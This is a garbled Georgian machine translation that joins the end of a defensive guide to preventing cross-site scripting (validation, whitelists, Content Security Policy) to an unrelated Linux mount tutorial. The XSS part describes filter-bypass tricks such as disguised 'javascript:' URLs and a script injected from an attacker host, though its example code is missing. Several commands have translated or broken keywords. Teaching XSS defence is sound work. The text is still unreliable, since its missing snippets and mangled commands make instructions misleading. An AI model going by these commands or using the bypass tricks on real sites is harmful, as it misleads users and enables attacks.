მიუხედავად იმისა, რომ ელემენტის href თვისებაზე მნიშვნელობის მითითება ავტომატურად ახდენს მას დაშიფვრას ისე, რომ იგი გახდეს სხვა არაფერი, თუ არა ატრიბუტის მნიშვნელობა, ეს თავისთავად ხელს არ უშლის თავდამსხმელს ჩასვას URL, რომელიც იწყება "javascript:"-ით. ბმულზე დაწკაპუნებისას, კონსტრუქციის მიუხედავად, URL-ში ჩაშენებული JavaScript შესრულდება.

კოდირება ასევე არ არის ეფექტური გადაწყვეტა, როდესაც გსურთ, რომ მომხმარებლებს შეეძლოთ გამოიყენონ ზოგიერთი HTML კოდი გვერდზე. მაგალითი იქნება მომხმარებლის პროფილის გვერდი, სადაც მომხმარებელს შეუძლია გამოიყენოს მორგებული HTML. თუ ეს უბრალო HTML კოდირებულია, პროფილის გვერდი მხოლოდ უბრალო ტექსტისგან შედგება.

ასეთ სიტუაციებში კოდირებას უნდა დაემატოს ვალიდაცია, რომელსაც მოგვიანებით განვიხილავთ.

ვალიდაცია

ვალიდაცია არის მომხმარებლის შეყვანის ფილტრაციის აქტი ისე, რომ წაიშლება მისი ყველა მავნე ნაწილი, მასში არსებული ყველა კოდის წაშლის გარეშე. ვალიდაციის ერთ-ერთი ყველაზე ხშირად გამოყენებული ტიპი ვებ დეველოპმენტში საშუალებას გაძლევთ გამოიყენოთ ზოგიერთი HTML ელემენტი (მაგალითად, და ), ხოლო სხვების გამორთვა (მაგალითად, ).

არსებობს ორი ძირითადი დამახასიათებელი შემოწმება, რომლებიც განსხვავდება მათი განხორციელებით:

კლასიფიკაციის სტრატეგია მომხმარებლის შეყვანის კლასიფიცირება შესაძლებელია შავი სიების ან თეთრი სიების გამოყენებით. ვალიდაციის შედეგი მომხმარებლის შეყვანა, რომელიც იდენტიფიცირებულია მავნე, შეიძლება უარყოფილი ან გაწმენდილი იყოს.

კლასიფიკაციის სტრატეგია შავი სია

ინსტინქტურად, მიზანშეწონილია შემოწმების ჩატარება აკრძალული ნიმუშის განსაზღვრით, რომელიც არ უნდა გამოჩნდეს მომხმარებლის შეყვანაში. თუ ხაზი ემთხვევა ამ ნიმუშს, ის მოინიშნება როგორც არასწორი. მაგალითად, მიეცით საშუალება მომხმარებლებს წარადგინონ მორგებული URL-ები ნებისმიერი პროტოკოლით Javascript-ის გარდა: . ამ კლასიფიკაციის სტრატეგიას ე.წ შავი სია.

თუმცა, შავ სიას ორი მთავარი მინუსი აქვს:

ყველა შესაძლო მავნე სტრიქონის სიმრავლის ზუსტად აღწერის სირთულე, როგორც წესი, ძალიან რთული ამოცანაა. ზემოთ აღწერილი პოლიტიკის მაგალითის წარმატებით განხორციელება შეუძლებელია ქვესტრიქონის "javascript"-ის უბრალოდ ძიებით, რადგან ის გამოტოვებს სტრიქონებს, როგორიცაა "Javascript:" (სადაც პირველი ასო დიდია) და "javascript:" (სადაც პირველი ასო დაშიფრულია რიცხვით. პერსონაჟის მითითება). გაუქმება სრულყოფილი შავი სიის შემუშავების შემთხვევაშიც კი, უსარგებლო იქნება, თუ ბრაუზერში დამატებული ახალი ფუნქცია გამოიყენებოდა თავდასხმისთვის. მაგალითად, თუ HTML ვალიდაციის შავი სია შეიქმნა HTML5-ში onmousewheel ატრიბუტის შემოღებამდე, ის ვერ შეაჩერებს თავდამსხმელს ამ ატრიბუტის გამოყენებაში XSS შეტევის განსახორციელებლად. ეს მინუსი განსაკუთრებით მნიშვნელოვანია ვებ დეველოპმენტში, რომელიც შედგება მრავალი განსხვავებული ტექნოლოგიებისგან, რომლებიც მუდმივად განახლდება.

ამ ხარვეზების გამო, შავ სიაში შეყვანა მკაცრად აკრძალულია, როგორც კლასიფიკაციის სტრატეგია. Whitelisting ზოგადად ბევრად უფრო უსაფრთხო მიდგომაა, რომელსაც შემდეგ აღვწერთ.

თეთრი სია

თეთრი სიაარსებითად არის შავი სიის საპირისპირო: აკრძალული ნიმუშის იდენტიფიცირების ნაცვლად, თეთრი სიის მიდგომა განსაზღვრავს დაშვებულ შაბლონს და აღნიშნავს შეყვანილს, როგორც არასწორი, თუ ის არ შეესაბამებაამ შაბლონს.

შავი სიებისგან განსხვავებით, თეთრი სიების მაგალითი იქნება მომხმარებლებისთვის ნებადართული URL-ების წარდგენა, რომელიც შეიცავს მხოლოდ http: და https: პროტოკოლებს, მეტი არაფერი. ეს მიდგომა საშუალებას მისცემს URL ავტომატურად მოინიშნოს, როგორც არასწორი, თუ ის შეიცავს javascript: პროტოკოლს, თუნდაც ის წარმოდგენილი იყოს როგორც "Javascript:" ან "javascript:".

შავ სიასთან შედარებით, თეთრ სიას ორი მთავარი უპირატესობა აქვს:

სიმარტივე კეთილთვისებიანი სტრიქონების სიმრავლის ზუსტად აღწერა ჩვეულებრივ ბევრად უფრო ადვილია, ვიდრე ყველა მავნე სტრიქონების ნაკრების იდენტიფიცირება. ეს განსაკუთრებით გამოიყენება ზოგად სიტუაციებში, როდესაც მომხმარებლის შეყვანა უნდა შეიცავდეს ბრაუზერში ხელმისაწვდომი ფუნქციების ძალიან შეზღუდულ კომპლექტს. მაგალითად, ზემოთ აღწერილი თეთრი სია ძალიან უბრალოდ საშუალებას აძლევს URL-ებს გამოიყენონ მხოლოდ დაშვებული HTTP: ან https: პროტოკოლებით და უმეტეს სიტუაციებში ეს სავსებით საკმარისია მომხმარებლებისთვის. გამძლეობა შავი სიისგან განსხვავებით, თეთრი სია, როგორც წესი, არ მოძველდება, როდესაც ბრაუზერში ახალი ფუნქცია დაემატება. მაგალითად, HTML თეთრი სიის ვალიდაცია საშუალებას აძლევს HTML ელემენტების მხოლოდ სათაურის ატრიბუტებს დარჩეს უსაფრთხო, თუნდაც ის (თეთრი სია) შეიქმნას HTML5 onmousewheel ატრიბუტის შემოღებამდე.

დადასტურების შედეგი

როდესაც მომხმარებლის შეყვანა მონიშნულია, როგორც არასწორი (აკრძალული), შეიძლება განხორციელდეს ორიდან ერთი ქმედება:

შეყვანის უარყოფა უბრალოდ უარყოფილია, რაც ხელს უშლის მის გამოყენებას საიტზე სხვაგან. შეყვანის მონაცემების ყველა არასწორი ნაწილის გაწმენდა ამოღებულია და დარჩენილი შენატანი გამოიყენება ვებსაიტზე, როგორც ყოველთვის.

ამ ორიდან, გადახრა არის განხორციელების უმარტივესი მიდგომა. მაგრამ დეზინფექცია ითვლება უფრო სასარგებლოდ, რადგან ის უზრუნველყოფს მომხმარებლისთვის ინფორმაციის უფრო ფართო სპექტრს. მაგალითად, თუ მომხმარებელი წარადგენს საკრედიტო ბარათის ნომერს, სანიტარიზაცია წაშლის ყველა არასიმბოლო სიმბოლოს და ხელს შეუშლის კოდის ინექციას და ასევე საშუალებას მისცემს მომხმარებელს შეიყვანოს ნომერი დეფისით ან მის გარეშე.

თუ დეზინფექციის განხორციელებას გადაწყვეტთ, უნდა დარწმუნდეთ, რომ დეზინფექციის პროცედურა თავისთავად არ იყენებს შავი სიის მიდგომას. მაგალითად, URL "Javascript:...", თუნდაც იდენტიფიცირებული იყოს თეთრი სიის გამოყენებით, როგორც არასწორი, მიიღებს სანიტარული შემოვლითი რუტინას, რომელიც უბრალოდ წაშლის "javascript:"-ის ყველა ინსტანციას. ამ მიზეზით, კარგად შემოწმებულმა ბიბლიოთეკებმა და ჩარჩოებმა შეძლებისდაგვარად უნდა გამოიყენონ სანიტარიზაცია.

რა მეთოდები უნდა იქნას გამოყენებული პრევენციისთვის?

კოდირება უნდა იყოს თქვენი პირველი დაცვის ხაზი XSS შეტევებისგან, მისი მიზანია მონაცემების ისე დამუშავება, რომ ბრაუზერმა ვერ შეძლოს მომხმარებლის შეყვანის ინტერპრეტაცია, როგორც კოდი. ზოგიერთ შემთხვევაში, კოდირება უნდა დაერთოს ვალიდაციას. კოდირება და ვალიდაცია უნდა იქნას გამოყენებული გამავალ ტრაფიკზე, რადგან მხოლოდ ამის შემდეგ შეგიძლიათ იცოდეთ, რა კონტექსტში იქნება გამოყენებული მომხმარებლის შეყვანა და რა კოდირება და ვალიდაციაა საჭირო.

როგორც თავდაცვის მეორე ხაზი, თქვენ უნდა გამოიყენოთ შემომავალი მონაცემების გასუფთავება ან მომხმარებლის აშკარად არასწორი შეყვანის უარყოფა, როგორიცაა ბმულები Javascript: პროტოკოლის გამოყენებით. ეს თავისთავად ვერ უზრუნველყოფს სრულ უსაფრთხოებას, მაგრამ ეს არის სასარგებლო სიფრთხილის ზომა, თუ კოდირებისა და ვალიდაციის დაცვის რომელიმე პუნქტი შეიძლება ჩავარდეს არასწორი შესრულების გამო.

თუ დაცვის ეს ორი ხაზი მუდმივად გამოიყენება, თქვენი საიტი დაცული იქნება XSS შეტევებისგან. თუმცა, ვებსაიტის შექმნისა და შენარჩუნების სირთულის გამო, სრული უსაფრთხოების უზრუნველყოფა მხოლოდ მომხმარებლის უსაფრთხო შეყვანის დამუშავების გამოყენებით შეიძლება რთული იყოს. როგორც თავდაცვის მესამე ხაზი, თქვენ უნდა გამოიყენოთ კონტენტის უსაფრთხოების პოლიტიკა ( ინგლისური კონტენტის უსაფრთხოების პოლიტიკა), შემდეგ CSP, რომელსაც ქვემოთ აღვწერთ.

კონტენტის უსაფრთხოების პოლიტიკა (CSP)

მხოლოდ მომხმარებლის უსაფრთხო შეყვანის გამოყენება XSS შეტევებისგან დასაცავად საკმარისი არ არის, რადგან უსაფრთხოების ერთმა შეცდომამაც კი შეიძლება ზიანი მიაყენოს თქვენს ვებსაიტს. ახალი ვებ სტანდარტიდან კონტენტის უსაფრთხოების პოლიტიკის (CSP) მიღებამ შეიძლება შეამციროს ეს რისკი.

CSP გამოიყენება ბრაუზერის მიერ ვებ გვერდის გამოყენების შეზღუდვისთვის, რათა მან გამოიყენოს მხოლოდ სანდო წყაროებიდან გადმოწერილი რესურსები. ა რესურსებიარის სკრიპტები, სტილის ფურცლები, სურათები ან სხვა ტიპის ფაილები, რომლებიც მითითებულია გვერდზე. ეს ნიშნავს, რომ მაშინაც კი, თუ თავდამსხმელი მოახერხებს მავნე შინაარსის შეტანას თქვენს საიტზე, CSP შეძლებს თავიდან აიცილოს მისი შესრულება.

CSP შეიძლება გამოყენებულ იქნას შემდეგი წესების შესასრულებლად:

არასანდო წყაროების აკრძალვა გარე რესურსების ჩამოტვირთვა შესაძლებელია მხოლოდ მკაფიოდ განსაზღვრული სანდო წყაროებიდან. ჩაშენებული რესურსების აკრძალვით, inline JavaScript და CSS არ იქნება გათვალისწინებული. eval-ის გამორთვა კრძალავს JavaScript-ში eval ფუნქციის გამოყენებას.

CSP მოქმედებაშია

შემდეგ მაგალითში, თავდამსხმელმა მოახერხა მავნე კოდის შეყვანა ვებ გვერდზე:

ბოლო კომენტარი:

სწორად განსაზღვრული CSP პოლიტიკით, ბრაუზერს არ შეუძლია ჩამოტვირთოთ და შეასრულოს malicious-script.js, რადგან http://attacker/ არ არის მითითებული სანდო წყაროდ. მიუხედავად იმისა, რომ ამ შემთხვევაში საიტმა ვერ შეძლო მომხმარებლის შეყვანის საიმედო დამუშავება, CSP-ის პოლიტიკამ თავიდან აიცილა დაუცველობა რაიმე ზიანის მიყენებისგან.

მაშინაც კი, თუ თავდამსხმელმა შეიყვანა კოდი სკრიპტის კოდის შიგნით და არა გარე ფაილის ბმული, სწორად კონფიგურირებული CSP პოლიტიკა ასევე ხელს შეუშლის ინექციას JavaScript კოდში, თავიდან აიცილებს დაუცველობას და რაიმე ზიანს.

როგორ ჩართოთ CSP?

ნაგულისხმევად, ბრაუზერები არ იყენებენ CSP-ს. იმისათვის, რომ ჩართოთ SCP თქვენს ვებსაიტზე, გვერდები უნდა შეიცავდეს დამატებით HTTP სათაურს: Content-Security-Policy. ნებისმიერი გვერდი, რომელიც შეიცავს ამ სათაურს, განახორციელებს უსაფრთხოების პოლიტიკას ბრაუზერის მიერ ჩატვირთვისას, იმ პირობით, რომ ბრაუზერი მხარს უჭერს CSP-ს.

იმის გამო, რომ უსაფრთხოების პოლიტიკა იგზავნება ყოველ HTTP პასუხთან ერთად, შესაძლებელია სერვერმა დააყენოს პოლიტიკა ინდივიდუალურად თითოეული გვერდისთვის. იგივე პოლიტიკა შეიძლება გამოყენებულ იქნას მთელ ვებსაიტზე, ყოველ პასუხში ერთი და იგივე CSP სათაურის ჩასმით.

მნიშვნელობა Content-Security-Policy-ის სათაურში შეიცავს სტრიქონს, რომელიც განსაზღვრავს უსაფრთხოების ერთ ან მეტ პოლიტიკას, რომელიც გაშვებული იქნება თქვენს საიტზე. ამ ხაზის სინტაქსი ქვემოთ იქნება აღწერილი.

ამ განყოფილების სათაურის მაგალითები იყენებს ხაზების წყვეტებს და ჩაღრმავებებს მითითების გამარტივებისთვის; ისინი არ უნდა გამოჩნდნენ რეალურ სათაურში.

CSP სინტაქსი

CSP სათაურის სინტაქსი ასეთია:

კონტენტი-უსაფრთხოება-პოლიტიკა:
დირექტივა წყარო-გამოთქმა, წყარო-გამოთქმა, ...;
დირექტივა ...;
...

ეს სინტაქსი შედგება ორი ელემენტისგან:

• დირექტივები არის სტრიქონები, რომლებიც მიუთითებენ მოცემული სიიდან აღებული რესურსის ტიპზე.
• წყაროს გამონათქვამები არის მოდელები, რომლებიც აღწერს ერთ ან მეტ სერვერს, საიდანაც შესაძლებელია რესურსების ჩატვირთვა.

თითოეული დირექტივისთვის, წყაროს გამონათქვამის მონაცემები განსაზღვრავს, რომელი წყაროების გამოყენება შეიძლება შესაბამისი ტიპის რესურსების ჩასატვირთად.

დირექტივები

შემდეგი დირექტივები შეიძლება გამოყენებულ იქნას CSP სათაურში:

• დაკავშირება-src
• font-src
• ჩარჩო-src
• img-src
• მედია-სრკ
• ობიექტი-src
• სკრიპტი-src
• style-src

გარდა ამისა, სპეციალური default-src დირექტივა შეიძლება გამოყენებულ იქნას ნაგულისხმევი მნიშვნელობის უზრუნველსაყოფად ყველა დირექტივისთვის, რომელიც არ იყო ჩართული სათაურში.

წყაროს გამოხატულება

წყაროს გამოხატვის შექმნის სინტაქსი ასეთია:

protocol:// ჰოსტის სახელი: პორტის ნომერი

ჰოსტის სახელი შეიძლება დაიწყოს *-ით, რაც იმას ნიშნავს, რომ მოწოდებული ჰოსტის სახელის ნებისმიერი ქვედომენი მოგვარდება. ანალოგიურად, პორტის ნომერი შეიძლება წარმოდგენილი იყოს როგორც *, რაც ნიშნავს, რომ ყველა პორტი იქნება დაშვებული. გარდა ამისა, პროტოკოლი და პორტის ნომერი შეიძლება გამოტოვდეს. თუ პროტოკოლი არ არის მითითებული, პოლიტიკა მოითხოვს, რომ ყველა რესურსი ჩაიტვირთოს HTTPS-ის გამოყენებით.

ზემოაღნიშნული სინტაქსის გარდა, წყაროს გამოხატულება შეიძლება იყოს ოთხი საკვანძო სიტყვიდან ერთ-ერთი განსაკუთრებული მნიშვნელობით (ციტატები შედის):

"არცერთი" გამორთავს რესურსებს. "self" საშუალებას აძლევს რესურსებს მასპინძლიდან, რომელზეც განთავსებულია ვებ გვერდი. "არაუსაფრთხო-ინლაინ" აგვარებს გვერდზე არსებულ რესურსებს, როგორც შიდა ელემენტებს, ელემენტებს და javascript: URL-ებს. "unsafe-eval" ჩართავს JavaScript ფუნქციას eval .

გთხოვთ გაითვალისწინოთ, რომ როდესაც CSP გამოიყენება, ჩაშენებული რესურსები და eval ავტომატურად გამორთულია ნაგულისხმევად. "unsafe-inline" და "unsafe-eval" გამოყენება მათი გამოყენების ერთადერთი გზაა.

პოლიტიკის მაგალითი

კონტენტი-უსაფრთხოება-პოლიტიკა:
script‑src "self" scripts.example.com;
media‑src "არცერთი";
img‑src *;
default‑src "self" http://*.example.com

ამ მაგალითის პოლიტიკით, ვებ გვერდს ექნება შემდეგი შეზღუდვები:

• სკრიპტების ჩამოტვირთვა შესაძლებელია მხოლოდ ჰოსტიდან, რომელზეც განთავსებულია ვებ გვერდი და ამ მისამართიდან: scripts.example.com.
• აუდიო და ვიდეო ფაილების ჩამოტვირთვა აკრძალულია.
• გამოსახულების ფაილების ჩამოტვირთვა შესაძლებელია ნებისმიერი მისამართიდან.
• ყველა სხვა რესურსის ჩატვირთვა შესაძლებელია მხოლოდ ჰოსტიდან, რომელზეც განთავსებულია ვებ გვერდი და example.com-ის ნებისმიერი ქვედომენიდან.

CSP სტატუსი

2013 წლის ივნისის მდგომარეობით, შიგთავსის უსაფრთხოების პოლიტიკა რეკომენდებულია W3C კონსორციუმის მიერ. CSP დანერგილია ბრაუზერის დეველოპერების მიერ, მაგრამ მისი ზოგიერთი ნაწილი სპეციფიკურია სხვადასხვა ბრაუზერებისთვის. მაგალითად, HTTP სათაურის გამოყენება შეიძლება განსხვავდებოდეს ბრაუზერებს შორის. CSP-ის გამოყენებამდე გაეცანით იმ ბრაუზერების დოკუმენტაციას, რომელთა მხარდაჭერასაც გეგმავთ.

რეზიუმე რეზიუმე: XSS მიმოხილვა

• XSS შეტევა არის კოდის ინექციის შეტევა, რომელიც შესაძლებელი გახდა მომხმარებლის შეყვანის არასაიმედო დამუშავებით.
• წარმატებული XSS შეტევა თავდამსხმელს საშუალებას აძლევს შეასრულოს მავნე JavaScript მსხვერპლის ბრაუზერში.
• წარმატებული XSS შეტევა საფრთხეს უქმნის როგორც ვებსაიტის, ასევე მისი მომხმარებლების უსაფრთხოებას.

რეზიუმე: XSS შეტევები

• არსებობს XSS შეტევების სამი ძირითადი ტიპი:
  • შენახულია XSS, სადაც მავნე შეყვანა სათავეს იღებს ვებსაიტის მონაცემთა ბაზიდან.
  • ასახულია XSS, სადაც მავნე შეყვანა მომდინარეობს მსხვერპლის მოთხოვნიდან.
  • XSS შეტევები DOM-ში, სადაც დაუცველობა გამოიყენება კოდით კლიენტის მხარეს და არა სერვერის მხარეს.
• ყველა ეს შეტევა განსხვავებულად ხორციელდება, მაგრამ წარმატების შემთხვევაში იგივე ეფექტი აქვს.

რეზიუმე: XSS-ის პრევენცია

• XSS შეტევების თავიდან ასაცილებლად ყველაზე მნიშვნელოვანი გზა არის შეყვანის უსაფრთხო დამუშავება.
  • კოდირება უნდა განხორციელდეს ყოველთვის, როდესაც მომხმარებლის შეყვანა ჩართულია გვერდზე.
  • ზოგიერთ შემთხვევაში, კოდირება უნდა შეიცვალოს ან დაემატოს ვალიდაციას.
  • შეყვანის უსაფრთხო მართვამ უნდა გაითვალისწინოს, რომელ გვერდის კონტექსტშია ჩასმული მომხმარებლის შეყვანა.
  • იმისათვის, რომ თავიდან აიცილოთ ყველა ტიპის XSS შეტევა, შეყვანის უსაფრთხო დამუშავება უნდა განხორციელდეს როგორც კლიენტის, ასევე სერვერის მხრიდან კოდით.
• კონტენტის უსაფრთხოების პოლიტიკა (CSP) უზრუნველყოფს დაცვის დამატებით ფენას იმ შემთხვევაში, თუ შეყვანის უსაფრთხო დამუშავება შეიცავს შეცდომას.

დანართი ტერმინოლოგია

უნდა აღინიშნოს, რომ XSS-ის აღსაწერად გამოყენებული ტერმინოლოგიაში არის გადაკვეთა: XSS შეტევა DOM-ში შეიძლება იყოს შენახული ან ასახული; ეს არ არის თავდასხმების ცალკეული ტიპები. არ არსებობს ზოგადად მიღებული ტერმინოლოგია, რომელიც მოიცავს ყველა ტიპის XSS დაბნეულობის გარეშე. მიუხედავად XSS-ის აღწერისთვის გამოყენებული ტერმინოლოგიისა, ყველაზე მნიშვნელოვანი არის შეტევის ტიპის განსაზღვრა, ეს შესაძლებელია, თუ იცით, საიდან მოდის მავნე შეყვანა და სად მდებარეობს დაუცველობა.

გამოყენების უფლებები და ბმულები

წყაროს კოდი ჭარბი XSSხელმისაწვდომია GitHub-ზე.

ჭარბი XSSშეიქმნა 2013 წელს ჩალმერსის ტექნოლოგიური უნივერსიტეტის ენაზე დაფუძნებული უსაფრთხოების კურსის ფარგლებში.

რუსულად თარგმნა განხორციელდა A888R-ის მიერ, ორიგინალი ტექსტი ინგლისურად: excess-xss.com, კომენტარები, წინადადებები და შეცდომები თარგმანში უნდა გაიგზავნოს აქ.

Mount ბრძანება არის უნივერსალური ინსტრუმენტი, რომელიც საშუალებას გაძლევთ გააკეთოთ ყველაფერი, რაც გჭირდებათ. დამონტაჟებული მოწყობილობების სიის სანახავად,

შეიყვანეთ იგი არგუმენტების გარეშე (ძირეული უფლებები არ არის საჭირო წასაკითხად):

/dev/sdal ჩართულია / ტიპი ext4 (rw,errors=remount-ro) proc on /proc ტიპის proc (rw,noexec,nosuid,nodev) არცერთი on /sys ტიპის sysfs (rw,noexec,nosuid,nodev) არ არის ჩართული / sys/fs/fuse/connections ტიპის fusectl (rw) არ არის /sys/kernel/debug ტიპის debugfs (rw)

არცერთი /sys/kernel/security type securityfs (rw) არცერთი /dev ტიპის devtmpfs (rw,mode=0755)

არცერთი არ არის /dev/pts ტიპის devpts (rw,noexec,nosuid,gid=5,mode=0620) არცერთი არ არის /dev/shm ტიპის tmpfs (rw,nosuid,nodev)

არცერთი არ არის /var/run ტიპის tmpfs (rw,nosuid,mode=0755)

არ არის /var/lock ტიპის tmpfs (rw,noexec,nosuid,nodev) არცერთი არ არის /lib/init/rw ტიპის tmpfs (rw,nosuid,mode=0755) binfmt_misc on /proс/sys/fs/binfmt_misc ტიპის binfmt_misc

(rw,noexec,nosuid,nodev)

gvfs-fuse-daemon on /home/grinder/.gvfs type fuse.gvfs-fusedaemon (rw,nosuid,nodev,user=grinder)

შედეგად, ჩვენ ვიღებთ სიას, რომლის პირველ პოზიციაზე მითითებულია წყაროს რესურსი; მის ადგილას შეიძლება არ იყოს არცერთი (სისტემის რესურსი) ან, როგორც ჩვენს შემთხვევაში, gvfs-fuse-daemon პროგრამა. მეორეზე არის წერტილი, სადაც ის დამონტაჟებულია.

ᲨᲔᲜᲘᲨᲕᲜᲐ

მსგავსი სიის მიღება შესაძლებელია /etc/mtab ფაილის შიგთავსის წაკითხვით.

დანაყოფის დამონტაჟება ან სხვა რესურსიმთის გამოყენებით, უმარტივეს შემთხვევაში, საკმარისია მიუთითოთ მისი სახელი და დამაგრების წერტილი. მაგალითად, დანაყოფი /dev/sdb2

უნდა იყოს დაკავშირებული /home/grinder/audio:

$ sudo mount /dev/sdb2 /home/grinder/audio

ახლა, /home/grinder/audio-ზე გადასვლით შეგვიძლია ვიმუშაოთ შიგნით არსებულ ფაილებთან. მაგრამ ხშირად სამონტაჟო ნაგულისხმევი ვარიანტები არც თუ ისე მოსახერხებელია.

თქვენ შეგიძლიათ ნახოთ სრული ინფორმაცია დისკის დანაყოფის შესახებ - ხელმისაწვდომი მოცულობა, თავისუფალი ადგილი - df-h ბრძანების გამოყენებით.

ფაილური სისტემა, როგორც წესი, ავტომატურად ვლინდება, მაგრამ თუ დაკავშირებული მყარი დისკის დანაყოფებზე არის ლოგიკური შეცდომები, მაშინ დამატებით უნდა მიუთითოთ ფაილური სისტემის ტიპი -t გადამრთველის გამოყენებით:

$ sudo mount -t ext3 /dev/sdb2 /home/grinder/audio

მაგალითში ფაილური სისტემის ტიპია ext3. სხვა ფაილური სისტემები დამონტაჟებულია შემდეგი პარამეტრებით:

T ext2, -t ext3, -t ext4, -t reiser, -t xfs - ტიხრების დამონტაჟება შესაბამისი ფაილური სისტემებით;

T ntfs-3g - დაამონტაჟეთ NTFS დანაყოფი;

T vfat - დაამონტაჟეთ FAT32 დანაყოფი;

T iso9660 - CD დისკის ან ISO გამოსახულების დამონტაჟება;

T smbfs ან -t cifs - დაამონტაჟეთ Windows სისტემის რესურსი.

თქვენ შეგიძლიათ გაიგოთ, რომელ ფაილურ სისტემებს უჭერს მხარს განაწილება dmesg ბრძანების გამოსავლის ან mount.* შესრულებადი ფაილების სიის ნახვით. ეს უკანასკნელი ძალიან მარტივი გასაკეთებელია: ჩაწერეთ სამონტაჟო ტერმინალში. და დააჭირეთ tab ღილაკს.

-t-ის ყველა შესაძლო მნიშვნელობის სრული სია შეგიძლიათ ნახოთ man mount-ში.

ტიხრების დამონტაჟება

დამონტაჟებული დანაყოფისთვის წვდომის პარამეტრები მითითებულია -o დროშის გამოყენებით. წაკითხვის/ჩაწერისთვის წვდომისთვის მითითებულია დროშა -o rw, მხოლოდ წაკითხვისთვის -o rо. მოდით გავააქტიუროთ კითხვა და წერა ჩვენს მაგალითში:

$ sudo mount -t ext3 -o rw /dev/sdb2 /home/grinder/audio

ᲨᲔᲜᲘᲨᲕᲜᲐ

დანაყოფის წვდომის პარამეტრები მითითებულია მონტაჟის ბრძანების გამომავალი ბოლო პოზიციაზე.

მაგრამ ბირთვის აგებულებიდან გამომდინარე, დამონტაჟებულ დანაყოფში ლათინური ფაილის სახელების კოდირება შეიძლება წაუკითხავი იყოს. ცალსახად მივუთითოთ:

$ sudo mount -t ext3 -o rw,iocharset=utf8,codepage=866 /dev/sdb2

/სახლი/საფქვავი/აუდიო

პარამეტრი -o iocharset=utf 8 ცალსახად ადგენს სისტემის ლოკალურ დაშიფვრას; Linux Mint-ში ეს არის ut f 8 და codepage=8 66 ამატებს მხარდაჭერას რუსული ენის კოდირებისთვის.

-o ძალის პარამეტრი საშუალებას გაძლევთ იძულებით დაამონტაჟოთ მყარი დისკის დანაყოფები, თუ გაურკვეველი მიზეზების გამო, სამონტაჟო პროგრამა უარს იტყვის მის დამონტაჟებაზე ჩვეულებრივი პარამეტრებით.

დისკში ჩასმული CD ასევე დამონტაჟებულია ავტომატურად. მისი ხელით დამონტაჟება შეგიძლიათ შემდეგნაირად:

$ sudo mount -t iso9660 -o ro /dev/cdrom /mnt

Ho mount ასევე საინტერესოა, რადგან ის საშუალებას გაძლევთ დაამონტაჟოთ ISO დისკის სურათები.

ამისათვის, ფაილური სისტემის ტიპის გარდა, ჩვენ ასევე ვაზუსტებთ -o მარყუჟის პარამეტრს.

$ sudo mount -t iso9660 -o loop ~/file.iso /home/iso

დანაყოფის მოსახსნელად, თქვენ უბრალოდ უნდა მიუთითოთ მოწყობილობა ან დამაგრების წერტილი:

$ sudo umount /dev/sdb2

$ sudo umount /home/grinder/audio

ქსელის დისკი დამონტაჟებულია ანალოგიურად - ჩვენ ვაზუსტებთ მის ქსელის სახელს და დამაგრების წერტილს. გარდა ამისა, თქვენ შეგიძლიათ დააყენოთ შესვლა და პაროლი წვდომისთვის. თუ ეს არ გაკეთებულა, პაროლი მოთხოვნილი იქნება დაკავშირების დროს და მიიღება მიმდინარე შესვლა, რომლის მიხედვითაც მუშაობს მომხმარებელი. მაგრამ ჯერ უნდა დავაყენოთ smbfs პაკეტი:

$ sudo aptitude დააინსტალირეთ smbfs

ახლა შევდივართ

$ sudo mount -t smbfs -o izegpashe=შესვლა,პაროლი=პაროლი //სერვერი/ვიდეო /home/grinder/ვიდეო

ᲨᲔᲜᲘᲨᲕᲜᲐ

სახელის ნაცვლად შეგიძლიათ მიუთითოთ სისტემის IP მისამართი.

თუ თქვენ გჭირდებათ მყარი დისკის NTFS ან ext2, ext3 ფაილური სისტემით დაკავშირება/დამონტაჟება Linux ოპერაციულ სისტემაზე დაფუძნებულ კომპიუტერთან, მაშინ თქვენ კითხულობთ სწორ სტატიას.

რატომ აკეთებთ ამას ხელით, თუ თანამედროვე Linux დესკტოპის სისტემები ამას ავტომატურად აკეთებენ?

არის შემთხვევები, როცა სისტემა Linuxვერ ახერხებს დისკის ავტომატურად დამონტაჟებას/დაკავშირებას დისკის ზოგიერთი ლოგიკური ავარიის, ვირუსების, რომლებმაც დააინფიცირეს NTFS/FAT ტიხრები, ან რაიმე სხვა ანომალიის გამო. ამისათვის, რეალური სისტემის ადმინისტრატორები ამას ხელით აკეთებენ. და ისინი ამას აკეთებენ mount ბრძანებით.

Mount ბრძანება Linux-ში არის ძალიან მოქნილი ინსტრუმენტი სისტემის ადმინისტრატორის ხელში. თქვენ შეგიძლიათ გამოიყენოთ mount ბრძანება ქსელის დისკის, მყარი დისკის დანაყოფის ან USB დისკის დასაყენებლად.

ეს სტატია არ არის mount ბრძანების სრული, ამომწურავი აღწერა (mount ბრძანების სრული აღწერა შეგიძლიათ იხილოთ man mount ბრძანების კონსოლში გაშვებით), მაგრამ ის ცდილობს ამის გაკეთებას. სტატია, რომელიც აღწერს mount ბრძანებას, მუდმივად განახლდება და იცვლება. თქვენ შეგიძლიათ დატოვოთ ყველა თქვენი წინადადება სტატიასთან დაკავშირებით კომენტარებში.

მოწყობილობები, რომლებიც ამჟამად დაკავშირებულია კომპიუტერთან, შეგიძლიათ ნახოთ კონსოლში აკრეფით:

ეს ბრძანება აჩვენებს ყველა მოწყობილობას, რომელიც დაკავშირებულია. ისინი შეიძლება არ იყოს დამონტაჟებული, მაგრამ ისინი დაკავშირებულია. ეკრანზე ნახავთ მსგავს რაღაცას:

დისკი /dev/sda: 40.0 GB, 40020664320 ბაიტი
255 თავი, 63 სექტორი/ტრასა, 4865 ცილინდრი

დისკის იდენტიფიკატორი: 0x815aa99a დანაყოფების ცხრილის ჩანაწერები არ არის დისკის თანმიმდევრობით
დისკი /dev/sdb: 80.0 GB, 80026361856 ბაიტი
255 თავი, 63 სექტორი/ტრასა, 9729 ცილინდრი
ერთეული = ცილინდრები 16065 * 512 = 8225280 ბაიტი
დისკის იდენტიფიკატორი: 0x973248ad

მოწყობილობის ჩატვირთვის დაწყება დასრულება ბლოკების ID სისტემა
/dev/sdb1 * 1 9729 78148161 83 Linux

დისკი /dev/sdc: 1027 MB, 1027604480 ბაიტი
32 თავი, 62 სექტორი/ტრასა, 1011 ცილინდრი
ერთეული = ცილინდრები 1984 * 512 = 1015808 ბაიტი
დისკის იდენტიფიკატორი: 0x6f20736b

ზემოთ მოყვანილი სიიდან ხედავთ, რომ შემდეგი დაკავშირებულია ოპერაციულ სისტემასთან:

ორი მყარი დისკი: /dev/sda - ოპერაციული სისტემა და /dev/sdb - "ფაილის ნაგავი"

მოსახსნელი USB დისკი: /dev/sdc

